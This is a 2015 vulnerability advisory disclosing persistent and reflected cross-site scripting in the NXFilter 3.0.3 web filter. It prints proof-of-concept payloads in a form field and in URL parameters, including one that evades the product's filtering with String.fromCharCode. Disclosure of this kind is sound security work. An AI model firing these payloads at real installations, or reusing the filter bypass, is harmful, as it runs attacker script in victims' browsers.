NXFilter 3.0.3 Cross Site Scripting

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt  
  
  
  
Vendor:  
================================  
www.nxfilter.org/p2/  
  
  
  
Product:  
================================  
NXFilter v3.0.3  
  
  
  
Vulnerability Type:  
=========================  
Persistent & Reflected XSS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
  
Vulnerability Details:  
=====================  
Persistent & reflected XSS entry points exist allowing arbitrary client  
side browser code execution  
on victims who click our infected linx or visit persistently stored XSS  
payloads. XSS strings seem  
to get filtered, yet we can defeat that using JS String.fromCharCode()  
functions.  
  
  
  
Exploit code(s):  
===============  
  
1) persistent XSS under category / custom  
"name" parameter is vulnerable to persistent XSS injection using POST  
method.  
  
http://localhost/category,custom.jsp  
<input type="text" name="description" value="<script>alert(666)</script>"  
size="50">  
  
  
2) reflected XSS  
  
http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points=  
  
  
  
3) reflected XSS  
  
http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E  
  
  
  
  
Disclosure Timeline:  
=======================================  
Vendor Notification: October 18, 2015  
November 5, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
===================================================  
High  
  
  
  
Description:  
==================================================  
Request Method(s): [+] GET / POST  
  
  
Vulnerable Product: [+] NXFilter v3.0.3  
  
  
Vulnerable Parameter(s): [+] name, user, kw  
  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`